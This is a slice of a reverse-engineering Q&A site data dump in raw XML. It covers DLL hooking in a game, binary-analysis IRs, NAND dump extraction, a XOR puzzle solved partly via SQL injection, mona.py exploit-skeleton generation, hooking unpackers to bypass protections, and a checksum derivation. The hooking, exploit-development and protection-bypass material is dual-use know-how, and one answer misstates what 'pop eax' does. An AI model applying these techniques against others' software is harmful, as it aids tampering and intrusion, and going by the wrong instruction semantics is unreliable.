you understand what I meant, sorry for my enlgish.&lt;/p&gt;&#xA;" OwnerUserId="16602" LastEditorUserId="16602" LastEditDate="2016-09-27T10:50:49.647" LastActivityDate="2016-09-27T11:17:00.257" Title="How to manipulate game which loads many dll's" Tags="|dll-injection|injection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13600" PostTypeId="2" ParentId="13599" CreationDate="2016-09-27T11:17:00.257" Score="2" Body="&lt;p&gt;You can certainly hook dlls similarly to how you'd hook any other function. To get the address of a dll function, you'd need to call two windows APIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you'll need to get the address/handle (these are the same when discussing loaded modules) of the module you're trying to hook. A simple method to get that is to call either &lt;code&gt;LoadLibrary&lt;/code&gt; or &lt;code&gt;GetModuleHandle&lt;/code&gt;. The biggest difference is that &lt;code&gt;GetModuleHandle&lt;/code&gt; will not load the dll in case it's not already loaded and will return &lt;code&gt;null&lt;/code&gt; instead. You can probably load the dll yourself using &lt;code&gt;LoadLibrary&lt;/code&gt;, so both APIs are valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you'll need to get the address of the function you're interested in. You could use the return value of either &lt;code&gt;GetModuleHandle&lt;/code&gt; or &lt;code&gt;LoadLibrary&lt;/code&gt; as the current position of the dll and calculate the specific offset of certain functions using it. Alternatively, you can call &lt;code&gt;GetProcAddress&lt;/code&gt; to get the address of any function that's exported by the DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind there are other ways to modify a behavior of a dll:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You could patch the dll on disk (assuming there's no integrity checks employed).&lt;/li&gt;&#xA;&lt;li&gt;You can create a &lt;a href=&quot;http://www.codeproject.com/Articles/16541/Create-your-Proxy-DLLs-automatically&quot; rel=&quot;nofollow&quot;&gt;DLL proxy&lt;/a&gt; using DLL redirection.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-27T11:17:00.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13601" PostTypeId="2" ParentId="12460" CreationDate="2016-09-27T12:12:16.147" Score="4" Body="&lt;p&gt;I would like to add &lt;a href=&quot;https://github.com/BinaryAnalysisPlatform/bap.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;BAP&lt;/a&gt; to your list. Disclaimer, I'm one of the authors. &#xA;We just released the 1.0.0 version. This is our tenth public release (after about ten years of in-house development). Although our target audience consists of professional researchers and governmental agencies, we still have a rather decent community of independent researchers. We're also very responsive on a gitter channel, and our issue tracker. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our intermediate representation has a formally specified semantics, and our lifters are intensively verified with our verification framework. To the day, our lifters support many architectures - x86, x86-64, mips32, mips64, powerpc32, powerpc64, and armv7. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be unfair not to mention other libraries, at least Radare2 and Angr.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare2's intermediate representation is called ESIL. It is not human readable (unless you're Forth programmer), but it is believed to be efficient. They have support for at least 5 architectures (ARM, x86, GameBoy and 8051). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Angr uses VEX library (that is GPL'ed) for the lifter, so they have out-of-the-box support for 5 architectures (x86,arm,mips,ppc,s390). The VEX language is also unreadable (although it is still better than ESIL) and loses some precision. We used VEX in previous incarnations of BAP but moved away to our own lifters many years ago. &lt;/p&gt;&#xA;" OwnerUserId="9994" LastEditorUserId="9994" LastEditDate="2019-01-31T21:13:35.907" LastActivityDate="2019-01-31T21:13:35.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13602" PostTypeId="2" ParentId="13575" CreationDate="2016-09-27T12:45:53.093" Score="1" Body="&lt;p&gt;Ok I managed to get it to extract.... Yay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it turns out when I did the NAND dump I also dumped the OOB part of the NAND.&lt;br&gt;&#xA;So I had to run it through Jean-Michel Picod's &lt;code&gt;Nand-dump-tool.py&lt;/code&gt; program to separate out the OOB area.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python Nand-dump-tool.py  -i ModemRaw.img -o Split_seperate.img -I&#xA;01f1801d  --layout separate&#xA;&#xA;[*] Using given ID code ID code  : 01f1801d&#xA;Manufacturer                     : AMD / Spansion&#xA;Device                           : NAND 128MiB 3,3V 8-bit&#xA;Die/Package                      : 1&#xA;Cell type                        : 2 Level Cell&#xA;Simultaneously programmed paged  : 1&#xA;Interleave between multiple chips: False&#xA;Write cache                      : True&#xA;Page size                        : 2048 bytes (2 K)&#xA;Spare area size                  : 16 bytes / 512 byte&#xA;Block size                       : 131072 bytes (128 K)&#xA;Organization                     : X16&#xA;Serial access time               : 29 ns&#xA;OOB size                         : 64 bytes&#xA;&#xA;[*] Start dumping...&#xA;[*] Finished&#xA;&#xA;Total: 138412032 bytes (132.00 MB)&#xA;Data : 134217728 bytes (128.00 MB)&#xA;OOB  : 4194304 bytes (4.00 MB)&#xA;Clear: 86.69% of the flash is empty (56813 pages out of 65536)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that was done running it through binwalk again gave me a much more sensible output and a extracted File System... &lt;/p&gt;&#xA;" OwnerUserId="17555" LastEditorUserId="2147" LastEditDate="2016-09-27T12:57:21.213" LastActivityDate="2016-09-27T12:57:21.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13603" PostTypeId="1" AcceptedAnswerId="13606" CreationDate="2016-09-27T16:34:49.430" Score="2" ViewCount="2477" Body="&lt;p&gt;I have a string from job advert (Ethical hacker). I am not planning to candidate to that position. I just would try to resolve puzzle. Can someone suggest directions to look further? (And not yet post full answer for some 2 days). Probably if someone can resolve that puzzle, then they probably will figure out from where that job advert is :).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data (my guess that's a hex string):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7d063a752c3a20753e3b3a2275213d30753734263c36267975363a3a39747c5f5f073026253a3b263c373c393c213c30266f5f7f7505303b30212734213c3a3b75213026213c3b3275343b3175313a362038303b213c3b3275213d3075333c3b313c3b32265f7f750330273c332c752320393b302734373c393c213c3026752730253a2721303175372c753a213d3027265f7f751426263c26217531302330393a25302726753c3b75333c2d3c3b327526303620273c212c75372032265f7f75063d342730752c3a2027753e3b3a22393031323075223c213d75363a39393034322030265f5f1a25253a2721203b3c213c30266f5f7f75193034273b3c3b32753b3022752130363d3b3a393a323c302675372c75213026213c3b3275313c233027263075262c26213038265f7f75063e3c3939752630217531302330393a2538303b2175213d273a20323d75262530363c34393c2f3031752127343c3b3c3b32265f7f75173075347525342721753a337526303620273c212c753c3b363c31303b2175273026253a3b263075213034385f5f02343b2175213a753f3a3c3b7520266a7512302175213d3075363a3b21343621267533273a386f5f3d212125266f7a7a3f3a377b3d61363e7b38307a363a3b213436217a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to convert it to string. Output is like this: &lt;a href=&quot;https://i.stack.imgur.com/bNe08.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bNe08.png&quot; alt=&quot;Output&quot;&gt;&lt;/a&gt;&#xA;It looks like of some kind of protocol. I also tried to decompress, but that failed and looked at output it does not look like it would be compressed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;C# program to create string from that data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Program&#xA;    {&#xA;        static string bytearr = &quot;7d063a752c3a20753e3b3a2275213d30753734263c36267975363a3a39747c5f5f073026253a3b263c373c393c213c30266f5f7f7505303b30212734213c3a3b75213026213c3b3275343b3175313a362038303b213c3b3275213d3075333c3b313c3b32265f7f750330273c332c752320393b302734373c393c213c3026752730253a2721303175372c753a213d3027265f7f751426263c26217531302330393a25302726753c3b75333c2d3c3b327526303620273c212c75372032265f7f75063d342730752c3a2027753e3b3a22393031323075223c213d75363a39393034322030265f5f1a25253a2721203b3c213c30266f5f7f75193034273b3c3b32753b3022752130363d3b3a393a323c302675372c75213026213c3b3275313c233027263075262c26213038265f7f75063e3c3939752630217531302330393a2538303b2175213d273a20323d75262530363c34393c2f3031752127343c3b3c3b32265f7f75173075347525342721753a337526303620273c212c753c3b363c31303b2175273026253a3b263075213034385f5f02343b2175213a753f3a3c3b7520266a7512302175213d3075363a3b21343621267533273a386f5f3d212125266f7a7a3f3a377b3d61363e7b38307a363a3b213436217a&quot;;&#xA;        static void Main(string[] args)&#xA;        {&#xA;            byte[] b = StringToByteArray(bytearr);&#xA;            string s = System.Text.Encoding.UTF8.GetString(b);&#xA;            File.WriteAllBytes(&quot;output.bin&quot;, b);&#xA;            Console.WriteLine(&quot;{0}&quot;, s);&#xA;            Console.ReadLine();&#xA;        }&#xA;&#xA;        public static byte[] StringToByteArray(String hex)&#xA;        {&#xA;            int NumberChars = hex.Length;&#xA;            byte[] bytes = new byte[NumberChars / 2];&#xA;            for (int i = 0; i &amp;lt; NumberChars; i += 2)&#xA;                bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);&#xA;            return bytes;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/2318/w-s&quot;&gt;@w s&lt;/a&gt; for hints. Today I resolved puzzle. It took 5 to 6 hours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I googled around and found &lt;a href=&quot;https://digital-forensics.sans.org/blog/2013/05/14/tools-for-examining-xor-obfuscation-for-malware-analysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; article. Then I tried XORSearch. After that I got next challenge. I do not post it here but that was web login form. So, I should guess username and password. Luckily in that form was sql injection vulnerability. After successful login it displayed QR code as PNG image. Of course I cannot decode it with scanner. So, I tried various steganography tools. Unsuccessful. Tried more various tools and then I realized that I am digging too deep. Then I printed that QR code. Looked on it couple of minutes. Tried various online QR decoders. All they failed. Googled about QR code error corrections and broken QR code recovery. Found &lt;a href=&quot;http://datagenetics.com/blog/november12013/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this site&lt;/a&gt;. On three corners must be square blocks to identify and then align the code. For my image they did'n. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7sAV2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7sAV2.png&quot; alt=&quot;QR code (some part removed)&quot;&gt;&lt;/a&gt; &#xA;I deleted some part of QR code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I took black pencil and colored my printed QR code. Tried to scan it. Scanner made one successful scan. But it was some numbers. After I again looked at printed QR code I realized that it looks bad. Then I realized that QR code must reverse colors. And volā. It now looks like normal QR and scanner successfully scanned it. In that picture was another link to text file, where was job contact details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S The only think that I not fully understood is XOR`ing part. But I tried to study that :).&lt;/p&gt;&#xA;" OwnerUserId="2100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-09-29T15:38:37.550" Title="Reversing unknown data in hex string" Tags="|hex|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13604" PostTypeId="2" ParentId="12460" CreationDate="2016-09-28T07:26:43.267" Score="4" Body="&lt;p&gt;I reviewed about 14 intermediate representations for the project I'm working on. It seems like any author (even for PhDs and master thesis) found all other existing IRs lacking and invented their own one.&lt;/p&gt;&#xA;&lt;p&gt;There are two notable exceptions:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VEX&lt;/strong&gt; is a prehistoric approach do IRs and provides a stable backend. That being said, it employs helper functions for stuff like flag calculations and thereby may omit semantical information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;REIL&lt;/strong&gt; is well designed for the purpose of static analysis, but is fragmented ever since big G bought zynamícs. Some community projects keep the concept alive, but introduce their own extensions to REIL.&lt;/p&gt;&#xA;&lt;p&gt;Since static analysis requires a SMT for most of its heavy lifting, we resorted to converting IRs to logic formulas and have been using them as a kind of intermediate representation.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pop eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;equals to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;esp = esp -4&lt;/p&gt;&#xA;&lt;p&gt;[esp - 4] = eax&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3162" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-09-28T07:26:43.267" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13605" PostTypeId="1" AcceptedAnswerId="13607" CreationDate="2016-09-28T09:20:55.527" Score="2" ViewCount="1770" Body="&lt;p&gt;I have been going through some tutorials for exploit development that use the &lt;code&gt;!pvefindaddr&lt;/code&gt; command to help with creating unique patterns and discovering the offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that mona has replaced &lt;code&gt;pvefindaddr&lt;/code&gt; - but from what I can see in the examples I am following the &lt;code&gt;!pvefindaddr suggest&lt;/code&gt; command gives you an exploit suggestion in perl, while &lt;code&gt;!mona suggest&lt;/code&gt; basically writes you a metasploit module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the options with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;!mona help suggest&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there don't seem to be many options available. Is it possible to get suggest to offer you exploits written in any format other than a metasploit module? I couldn't seem to get &lt;code&gt;pvefindaddr&lt;/code&gt; working in immunity - I'm assuming it doesn't really work anymore as mona has replaced it, so I wondered if mona had any flexibility?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I tried asking this in security stack exchange and was pointed here!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="17591" LastEditorUserId="2147" LastEditDate="2016-09-28T10:35:02.020" LastActivityDate="2016-09-28T10:35:02.020" Title="Immunity Debugger - !mona suggest" Tags="|exploit|immunity-debugger|metasploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13606" PostTypeId="2" ParentId="13603" CreationDate="2016-09-28T09:29:59.483" Score="3" Body="&lt;p&gt;This is an encrypted message (hex-encoded, your guess is correct). The cipher is very weak.&#xA;As far as I understand there is at least one more additional challenge after this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to learn more about working with challenges like this I'd suggest you to try &lt;a href=&quot;https://cryptopals.com/&quot; rel=&quot;nofollow&quot;&gt;&quot;Matasano crypto challenges&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-09-28T10:00:55.880" LastActivityDate="2016-09-28T10:00:55.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13607" PostTypeId="2" ParentId="13605" CreationDate="2016-09-28T09:44:32.287" Score="3" Body="&lt;p&gt;&lt;code&gt;mona.py&lt;/code&gt; only supports automatically generating Metasplpoit modules. You can't get it to output the exploitation code in any other form.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;pvefindaddr already suggested a payload layout based on that information, mona takes things one step further. In fact, it will attempt to produce a full blown Metasploit module, including all necessary pointers and exploit layout. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is probably partially because in order to function, the &lt;code&gt;suggest&lt;/code&gt; command uses the &lt;code&gt;findmsp&lt;/code&gt; command which requires a &quot;Metasploit pattern&quot; (hence the name &quot;find msp&quot;), a textual pattern that uses a sequence of characters in a way that never repeats the same 4 bytes offset, making it extremely easy to identify the offset of each part of the pattern. This pattern is extensively used in the Metasploit Framework to ease exploit development.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This command will automatically run findmsp (so you have to use a cyclic pattern to trigger a crash), and then take that information to suggest an exploit skeleton&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are a few things you can do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can always carve out the code out of the Metasploit module, or rewrite it in a different language (such as perl).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;code&gt;findmsp&lt;/code&gt; command directly (as mentioned, &lt;code&gt;suggest&lt;/code&gt; internally uses it to get the information needed for the exploit), it will provide you the details of affects memory regions, pointers, registers and so on, so you could build the exploit yourself.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At crash time, simply run findmsp and you will get the following information:&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Locations where the cyclic pattern can be found (looks for the first bytes of a pattern) and how long that pattern is&lt;/li&gt;&#xA;  &lt;li&gt;Registers that are overwritten with 4 byte of a cyclic pattern and the offset in the pattern to overwrite the register&lt;/li&gt;&#xA;  &lt;li&gt;Registers that point into a cyclic pattern, the offset, and the remaining size of the pattern&lt;/li&gt;&#xA;  &lt;li&gt;SEH records overwritten with 4 bytes of a cyclic, offset, and size&lt;/li&gt;&#xA;  &lt;li&gt;Pointers on the current thread stack, into a cyclic pattern (offset + size)&lt;/li&gt;&#xA;  &lt;li&gt;Parts of a cyclic pattern on the stack, the offset from the begin of the pattern and the size of the pattern.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In all cases, findmsp will search for normal pattern, uppercase,lowercase, and unicode versions of the cyclic pattern.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, &lt;code&gt;pvefindaddr&lt;/code&gt; is probably not working with your version of Immunity Debugger because it's newer that versions supported by &lt;code&gt;pvefindaddr&lt;/code&gt;. Since it's now deprecated it is no longer updated with newer releases of Immunity Debugger. You could fetch an older version and use that instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-28T10:32:48.267" LastActivityDate="2016-09-28T10:32:48.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13608" PostTypeId="2" ParentId="11153" CreationDate="2016-09-28T10:46:06.530" Score="1" Body="&lt;p&gt;Since IDA 6.7 it is now possible to use the &lt;code&gt;Action&lt;/code&gt; api to create menu items and/or toolbar buttons using the API function &lt;code&gt;register_action&lt;/code&gt;. Prior to IDA 6.7 it was possible to add menu items using the limited API &lt;code&gt;add_menu_item&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hexblog.com/?p=886&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; hex-rays blog post describes the new API compared to the old one and provides an example.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2016-09-28T10:46:06.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13610" PostTypeId="1" AcceptedAnswerId="13614" CreationDate="2016-09-28T16:47:24.207" Score="3" ViewCount="844" Body="&lt;p&gt;I'm working on reverse engineering the serial communication protocol of an obsolete electronic control system, but I'm having trouble figuring out the CRC algorithm and polynomial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have reverse engineered another similar system made by the same company in the past. On that previous one I was able to dump the &lt;code&gt;8051&lt;/code&gt; micro-controller program from the &lt;code&gt;EPROM&lt;/code&gt; and disassemble it. Here is my working code in C, with the original &lt;code&gt;8051&lt;/code&gt; disassembly in the comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char CalculateChecksum(void) {&#xA;    unsigned char r1 = 0;               // MOV R1,#0&#xA;    unsigned char r2, r3, c, a;&#xA;&#xA;    for (r2=1; r2&amp;lt;4; r2++) {    // MOV R2,#07&#xA;        a = out_buffer[r2];     // MOV A,@R0&#xA;&#xA;        r3 = a;                 // XCH A,R1&#xA;        a = r1;&#xA;        r1 = r3;&#xA;&#xA;        c = 0;                  // CLR C&#xA;&#xA;        if (a &amp;amp; 0x80) {&#xA;            c = 1;              // FAKE CARRY&#xA;        }&#xA;        a = a &amp;lt;&amp;lt; 1;             // RLC A&#xA;        if (c == 1) {           // JNC 0x03E8&#xA;            a = a ^ 0x19;       // XRL A,#19&#xA;        }&#xA;        a = a ^ r1;             // XRL A,R1 (0x03E8)&#xA;        r1 = a;                 // MOV R1,A&#xA;        printf(&quot;%d: 0x%x &quot;, r2, a);&#xA;    }&#xA;&#xA;    return a;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that this function does not work on this newer system. I've tried all 255 possible polynomials, so it is unclear wether the algorithms are shared (perhaps with some modifications?) between the different systems, however I believe there is a relation between algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a capture of some of the transmitted message from one unit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7E 00 12 03 00 50 FB 01 60 &#xA;7E 00 12 03 00 50 FB 01 60 &#xA;7E 00 12 03 00 50 FB 01 60 &#xA;7E 00 12 03 00 50 FB 01 60 &#xA;7E 00 12 03 00 51 FB 01 61 &#xA;7E 00 12 03 00 51 FB 01 61 &#xA;7E 00 12 03 00 51 FB 01 61 &#xA;7E 00 12 03 00 51 FF 01 65 &#xA;7E 00 12 03 00 51 03 00 69 &#xA;7E 00 12 03 00 51 09 00 6F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0x7E appears to be a preamble, followed by 7 bytes of data, then the checksum byte. Can anyone figure it out?&lt;/p&gt;&#xA;" OwnerUserId="17593" LastEditorUserId="2147" LastEditDate="2016-09-28T23:37:39.570" LastActivityDate="2016-09-30T09:50:39.180" Title="Reverse engineering serial communication CRC algorithm" Tags="|serial-communication|crc|binary-diagnosis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13612" PostTypeId="2" ParentId="13484" CreationDate="2016-09-28T19:38:15.147" Score="1" Body="&lt;p&gt;As often happen, solution is easiest than you might have thought.&lt;br&gt;&#xA;But before proceed telling you which was the problem, I want to ask a simple question to you all: &lt;br&gt; &lt;em&gt;Did you know that, if in serial communication the stop bit setting is wrong, you can receive and decode successfully the stream?&lt;/em&gt;&lt;br&gt;&#xA;Frankly I didn't know, and that's the main cause I waste all this time on a simple problem such as this.&lt;br&gt;&#xA;Well you should also understand that in my experience, I never ever had the need to change the stop bit setting.&lt;br&gt;&#xA;&lt;strong&gt;Never ever... until now.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;&#xA;As you might have guessed, the problem laid in the fact that &quot;stop bit&quot; setting was wrong.&lt;br&gt;&#xA;Instead of the classic &lt;strong&gt;9600,8,n,1&lt;/strong&gt; this setup needed &lt;strong&gt;9600,8,n,2&lt;/strong&gt;.&lt;br&gt;&#xA;Guess what, I needed a very long time to figure it out.&lt;br&gt;&#xA;I ended up probing serial data, directly on the MCU serial pins tx and rx pins, that because I feared the rs485 driver could have something wrong.&lt;br&gt;&#xA;At last, comparing a sniffed waveform from original MASTER and the waveform I produced I finally saw the difference.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/WJ3bk.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WJ3bk.gif&quot; alt=&quot;waveforms comparsion&quot;&gt;&lt;/a&gt;&#xA;Now I can successfully transmit bytes to the devices on this bus  and proceed with my original goal of reverse engineer the protocol to use this hardware on my custom Anti-theft system.&lt;/p&gt;&#xA;" OwnerUserId="17411" LastEditorUserId="17411" LastEditDate="2016-09-28T19:46:01.437" LastActivityDate="2016-09-28T19:46:01.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13613" PostTypeId="1" CreationDate="2016-09-28T20:57:32.223" Score="3" ViewCount="1690" Body="&lt;p&gt;I have been working on some unpackers, and I noticed that at their end, they mostly use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov edx, [ebp+oep]&#xA;call edx ; now, you're at the OEP of the original binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ecx, [ebp+oep]&#xA;jmp ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp+oep]&#xA;push eax&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Knowing that, with a quick hook on absolute jumps/calls you'd unpack stuff in literally seconds. Apart from that, some software uses &lt;code&gt;cpuid&lt;/code&gt; and &lt;code&gt;rdstc&lt;/code&gt; to identify you, while protecting the assembly heavily with a lot of obfuscation. Put an &quot;instruction breakpoint&quot; on either, and you just bypassed everything faster than your eye blinks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is what I'm saying possible, without severe performance hits? I am aware of tracing, but that's really really slow so it's not an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I am aware of the existence of hypervisors, I just have no idea if they fit my situation, and if so, I wouldn't know how to apply those techniques to work, so any pointers, even if Google keywords, would be great.&lt;/p&gt;&#xA;" OwnerDisplayName="user16924" LastEditorUserId="2147" LastEditDate="2018-10-04T04:25:36.150" LastActivityDate="2018-10-04T04:25:36.150" Title="Is it possible to hook CPU instructions without severe performance impact?" Tags="|assembly|breakpoint|hooking|hypervisor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13614" PostTypeId="2" ParentId="13610" CreationDate="2016-09-28T23:34:25.647" Score="4" Body="&lt;p&gt;This question seems simpler than you might expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since as OP noted, the code is irrelevant to validation mechanism used in the discussed system, I shall ignore it. It is indeed irrelevant as will be shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as the first byte in each message indeed looks like a preamble, we'll ignore it. Our goal is to recover the function which, when applied to the given 1-8th bytes (i.e. all bytes except the first and last), provides the last byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets take the first message provided by OP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 12 03 00 50 FB 01 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, we need to find &lt;code&gt;f&lt;/code&gt; such that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f(00 12 03 00 50 FB 01) = 60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following 3 messages are identical. This is good, it uncovers the fact the validation byte is deterministic with regards to the message bytes, but otherwise useless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll skip to the fifth message and compare it to the first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f(00 12 03 00 50 FB 01) = 60&#xA;f(00 12 03 00 51 FB 01) = 61&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is nice, we know that a single bit incremental change in the 5th byte of the message causes the exact same change on the output. Adding one to the fifth byte increments the output by one as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same happens for the last two messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f(00 12 03 00 51 03 00) = 69 &#xA;f(00 12 03 00 51 09 00) = 6F&#xA;&#xA;9-3 = 6 = 6F-69&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only this time with a different byte and a bigger increment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We might be willing to assume this relationship is preserved for all bytes and all increments, and we'll be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it wasn't clear until now, the answer is quite in front of us: The last byte is the sum of all message bytes, modulo 257.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In python, given &lt;code&gt;m = ['00', '12', '03', '00', '51', '09', '00']&lt;/code&gt;, the following code will provide the correct value of &lt;code&gt;0x6F&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hex(sum(map(lambda x: int(x, 16), m))%257)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This behaves properly for all provided inputs.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-09-30T09:50:39.180" LastActivityDate="2016-09-30T09:50:39.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
